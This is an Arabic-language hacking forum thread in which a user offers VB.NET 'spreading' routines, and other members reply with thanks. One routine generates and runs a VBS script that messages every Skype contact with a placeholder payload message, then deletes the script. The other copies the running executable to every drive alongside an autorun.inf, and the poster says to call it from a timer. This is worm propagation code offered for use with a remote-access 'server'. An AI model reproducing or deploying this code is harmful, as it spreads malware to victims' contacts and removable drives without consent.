1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

انتشار في USB و Skype و جميع الاقراص

الموضوع في 'قسم فيجول بيسك دوت نت VB.NET' بواسطة لوفي العراقي HACKER, بتاريخ ‏31 أكتوبر 2015.

كاتب الموضوع : لوفي العراقي HACKER المشاهدات : 456 الردود : 15 ‏31 أكتوبر 2015
حالة الموضوع:
مغلق
  1. غير متصل

    لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    كيف الحال يااعضاء وزوار عراق تيم يارب الجميع بخير
    حبيت اطرح عليكم كود انتشار في ال
    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]





    وكود الانتشار بال USB او جميع الاقراص


    تشغييييل تلقائي
    _________________________________________________--


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]
    _1


    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]  Sub SkypeSpread()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]If "%SKYPE%" = "True" Then[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim g As New StreamWriter(Environment.GetFolderPath(Environment .SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.BaseStream.Seek(0, SeekOrigin.End)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("on error resume next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Client.Start()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Attach()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("For Each KZN In Fruxr.Friends")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.Close()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim p As New Process[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim ProcessProperties As New ProcessStartInfo[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments) & "\s4c.vbs"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim myProcess As Process = Process.Start(ProcessProperties)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]myProcess.WaitForExit()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Threading.Thread.Sleep(5000)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]IO.File.Delete(Environment.GetFolderPath(Environme nt.SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Catch ex As Exception[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]MsgBox(ex.ToString)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End If[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Sub[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]

    [FONT=tahoma, geneva, lucida, lucida grande, arial, helvetica, sans-serif]
    [/FONT]

    USB_2

    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]
    [/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]Sub usb()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Coded By CaRlos / old Name Toto[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Www.dev-point.com/vb[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]       ' My Email : ########[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' اي خطا يجي تجاوزه واستمر في الكود[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        On Error Resume Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' يجلب جميع اسمء الاقراص[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        For Each x In IO.DriveInfo.GetDrives[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يفصل بين كل اسم قرص بفاصلة ,[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim xx As String = x.ToString & ","[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يقوم ب فصل جميع الاقراص  [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim s As String() = Split(xx, ",")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' اسم السيرفر[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim n As String = "Ser.Exe"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' محتوى ال اوتورن[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim run As String = ""[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "[AutoRun]" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "open=AutoRun.exe" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "icon=nameicon.ico"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' تدخيل اسماء الاقراص الى حلقة فور[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            For i = 0 To s.Length - 1[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' ينسخ البرنامج  الى  جميع الاقراص ويمكن استبدال Application.ExecutablePath بموقع السيرفر   [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.Copy(Application.ExecutablePath, s(i) & n, True)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' يقوم بانشاء الاتورون بصيغة inf[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.WriteAllText(s(i), run & "autorun.inf")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]    End Sub[/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]





    في كود الUSB
    تضيف تايمر


    وتكتب


    كود:
    usb()
     


    جاري تحميل الصفحة...
  2. غير متصل

    عہۧلہۧي سہۧعہۧد عہۧمہۧران
    rank
    Developer

    عضو منذ:
    ‏12 يونيو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله فيك نورت المنتدى
     


  3. غير متصل

    لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: انتشار في USB و Skype و جميع الاقراص

    شكرا للمرور حبيبي
     


  4. غير متصل

    Mira Mrmr .::|| زهره منتدى عراق تيم ||::.
    V • I • P

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    134
    نقاط الجائزة:
    الجنس:
    أنثى
    الإقامة:

    رد: انتشار في USB و Skype و جميع الاقراص

    [​IMG]عاشت الايادي[​IMG]
    "ياريت تعديل الاكواد من قبل الاداره"
     


  5. غير متصل

    جـعـفـر الـشـمـري
    DeveloPer Plus

    عضو منذ:
    ‏26 أغسطس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    الإقامة:

    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله بيك يا طيب
     


  6. غير متصل

    آرْ بْيْ جْيْ ڪْرْڪْوْڪْ
    DeveloPer Plus

    عضو منذ:
    ‏24 أغسطس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: انتشار في USB و Skype و جميع الاقراص

    عشت -كلك ابداع
     


  7. غير متصل

    لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: انتشار في USB و Skype و جميع الاقراص

    • نورتيني <3
     


  8. غير متصل

    لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     


  9. غير متصل

    لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:



  10. غير متصل

    لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...